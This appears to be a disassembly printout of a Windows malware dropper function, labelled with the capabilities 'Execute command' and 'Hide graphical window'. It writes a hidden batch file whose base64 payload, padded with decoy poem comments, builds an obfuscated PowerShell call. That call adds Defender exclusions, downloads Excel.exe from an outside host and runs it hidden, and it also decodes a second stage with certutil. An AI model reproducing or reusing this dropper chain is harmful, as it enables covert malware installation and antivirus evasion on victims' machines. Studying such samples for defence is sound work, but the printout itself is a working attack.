Function at 0x401550
Capabilities:
Execute command
Hide graphical window

Disassembly:
push rbx
sub rsp, 0x60
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0x80000000
lea r8, str.My_Application
mov edx, 0
mov ecx, 0
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov edx, 0
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [0x0040400f]
lea rcx, str.C:UsersPublicMusic_bott.bat
call sym.fopen
mov rbx, rax
test rax, rax
je 0x401609
lea rdx, str._echo_off_nset__base64_dataQGVjaG8gb2ZmDQoNCjo6QSBqb3VybmV5IG9mIGRpc2NvdmVyeSwgYSBxdWVzdCwgQSBjaGFuY2UgdG8gZG8gb3VyIHZlcnkgYmVzdCwgQSBnaWZ0IHRvIGNoZXJpc2gsIHRvIGVtYnJhY2UsIEEgYmVhdXRpZnVsLCB3b25kcm91cyBncmFjZS4NCjo6QSB0YXBlc3RyeSBvZiBkcmVhbXMgYW5kIGZlYXJzLCBBIHN5bXBob255IG9mIGxhdWdodGVyIGFuZCB0ZWFycywgQSBjYW52YXMgcGFpbnRlZCB3aXRoIGxvdmUgYW5kIGNhcmUsIEEgbWFzdGVycGllY2UsIGJleW9uZCBjb21wYXJlLg0KOjpBIGpvdXJuZXkgb2YgYSB0aG91c2FuZCBtaWxlcywgQSBwYXRoIG9mIHdvbmRlciwgb2Ygc21pbGVzLCBBIGNlbGVicmF0aW9uIG9mIGxpZmUncyBzd2VldCBkYW5jZSwgQSBwcmVjaW91cywgZmxlZXRpbmcgY2hhbmNlLg0KOjpBIGZsYW1lIHRoYXQgYnVybnMsIGEgbGlnaHQgdGhhdCBzaGluZXMsIEEgc3RhciB0aGF0IGd1aWRlcywgYSBiZWFjb24gZGl2aW5lLCBBIGpvdXJuZXksIGEgcXVlc3QsIGEgdGFsZSB0byB0ZWxsLCBBIHN0b3J5IG9mIGxpZmUsIGEgaGVhdmVuIGFuZCBoZWxsLg0KOjpBIGRhbmNlIG9mIGxvdmUsIGEgd2FsdHogb2YgZmF0ZSwgQSBqb3VybmV5IG9mIGxvdmUsIG9mIGpveSBhbmQgaGF0ZSwgQSBzeW1waG9ueSBvZiBsaWZlLCBvZiBzdHJpZmUgYW5kIHBlYWNlLCBBIGNlbGVicmF0aW9uLCBhIHJlbGVhc2UuDQo6OkEgZmxhbWUgdGhhdCBmbGlja2VycywgYSBzdGFyIHRoYXQgc2hpbmVzLCBBIGpvdXJuZXkgb2YgbG92ZSwgb2YgaG9wZXMgYW5kIGRlc2lnbnMsIEEgc3ltcGhvbnkgb2YgbGlmZSwgb2Ygam95IGFuZCBzdHJpZmUsIEEgY2VsZWJyYXRpb24sIGEgcHJlY2lvdXMgbGlmZS4NCg0Kc2V0IHN0cjE9cA0Kc2V0IHN0cjI9bw0Kc2V0IHN0cjM9dw0Kc2V0IHN0cjQ9ZQ0Kc2V0IHN0cjU9cg0Kc2V0IHN0cjY9cw0Kc2V0IHN0cjc9aA0Kc2V0IHN0cjg9ZQ0Kc2V0IHN0cjk9bA0Kc2V0IHN0cjEwPWwNCg0Kc2V0IHJlc3VsdD0lc3RyMSUlc3RyMiUlc3RyMyUlc3RyNCUlc3RyNSUlc3RyNiUlc3RyNyUlc3RyOCUlc3RyOSUlc3RyMTAlDQpodHRwczovL2dldC5hZG9iZS5jb20vDQolcmVzdWx0JSAtV2luZG93U3R5bGUgSGlkZGVuIC1FeGVjIEJ5cGFzcyBzdGFydCBjaHJvbWUgIA0KJXJlc3VsdCUgLVdpbmRvd1N0eWxlIEhpZGRlbiAgLU5vbkludGVyYWN0aXZlIC1Db21tYW5kIEFkZC1NcFByZWZlcmVuY2UgLUV4Y2x1c2lvblBhdGggJVB1YmxpYyVcTXVzaWMgDQolcmVzdWx0JSAtV2luZG93U3R5bGUgSGlkZGVuICAtTm9uSW50ZXJhY3RpdmUgLUNvbW1hbmQgQWRkLU1wUHJlZmVyZW5jZSAtRXhjbHVzaW9uUGF0aCAlQXBwRGF0YSUgDQolcmVzdWx0JSAtV2luZG93U3R5bGUgSGlkZGVuIC1FeGVjIEJ5cGFzcyAtQ29tbWFuZCAoTmV3LU9iamVjdCBOZXQuV2ViQ2xpZW50KS5Eb3dubG9hZEZpbGUoJ2h0dHBzOi8vcG1hZWR1Lm9yZy9sb3ZlL0V4Y2VsLmV4ZScsICclUHVibGljJVxNdXNpYy9FeGNlbC5leGUnKTsgIA0KdGltZW91dCAvdCAxMCAvbm9icmVhayAIE5VTA0KJXJlc3VsdCUgLVdpbmRvd1N0eWxlIEhpZGRlbiAtRXhlYyBCeXBhc3MgJVB1YmxpYyVcTXVzaWMvRXhjZWwuZXhlICAgIA0KDQo6OkEgam91cm5leSBvZiBkaXNjb3ZlcnksIGEgcXVlc3QsIEEgY2hhbmNlIHRvIGRvIG91ciB2ZXJ5IGJlc3QsIEEgZ2lmdCB0byBjaGVyaXNoLCB0byBlbWJyYWNlLCBBIGJlYXV0aWZ1bCwgd29uZHJvdXMgZ3JhY2UuDQo6OkEgdGFwZXN0cnkgb2YgZHJlYW1zIGFuZCBmZWFycywgQSBzeW1waG9ueSBvZiBsYXVnaHRlciBhbmQgdGVhcnMsIEEgY2FudmFzIHBhaW50ZWQgd2l0aCBsb3ZlIGFuZCBjYXJlLCBBIG1hc3RlcnBpZWNlLCBiZXlvbmQgY29tcGFyZS4NCjo6QSBqb3VybmV5IG9mIGEgdGhvdXNhbmQgbWlsZXMsIEEgcGF0aCBvZiB3b25kZXIsIG9mIHNtaWxlcywgQSBjZWxlYnJhdGlvbiBvZiBsaWZlJ3Mgc3dlZXQgZGFuY2UsIEEgcHJlY2lvdXMsIGZsZWV0aW5nIGNoYW5jZS4NCjo6QSBmbGFtZSB0aGF0IGJ1cm5zLCBhIGxpZ2h0IHRoYXQgc2hpbmVzLCBBIHN0YXIgdGhhdCBndWlkZXMsIGEgYmVhY29uIGRpdmluZSwgQSBqb3VybmV5LCBhIHF1ZXN0LCBhIHRhbGUgdG8gdGVsbCwgQSBzdG9yeSBvZiBsaWZlLCBhIGhlYXZlbiBhbmQgaGVsbC4NCjo6QSBkYW5jZSBvZiBsb3ZlLCBhIHdhbHR6IG9mIGZhdGUsIEEgam91cm5leSBvZiBsb3ZlLCBvZiBqb3kgYW5kIGhhdGUsIEEgc3ltcGhvbnkgb2YgbGlmZSwgb2Ygc3RyaWZlIGFuZCBwZWFjZSwgQSBjZWxlYnJhdGlvbiwgYSByZWxlYXNlLg0KOjpBIGZsYW1lIHRoYXQgZmxpY2tlcnMsIGEgc3RhciB0aGF0IHNoaW5lcywgQSBqb3VybmV5IG9mIGxvdmUsIG9mIGhvcGVzIGFuZCBkZXNpZ25zLCBBIHN5bXBob255IG9mIGxpZmUsIG9mIGpveSBhbmQgc3RyaWZlLCBBIGNlbGVicmF0aW9uLCBhIHByZWNpb3VzIGxpZmUuDQo__necho___base64_data_______Public__Music_sins.bat.b64_nstart__min_cmd__c_certutil__decode___Public__Music_sins.bat.b64___Public__Music_crap.bat_ntimeout__t_1__nobreak___NUL_nstart__min_cmd__c___Public__Music_crap.bat
mov rcx, rax
call sym.fprintf
mov rcx, rbx
call sym.fclose
lea rcx, str.cmd__c_C:UsersPublicMusic_bott.bat
call sym.system
mov eax, 0
add rsp, 0x60
pop rbx
ret
lea rcx, str.Error_opening_the_file.
call sym.puts
mov eax, 1
jmp 0x401603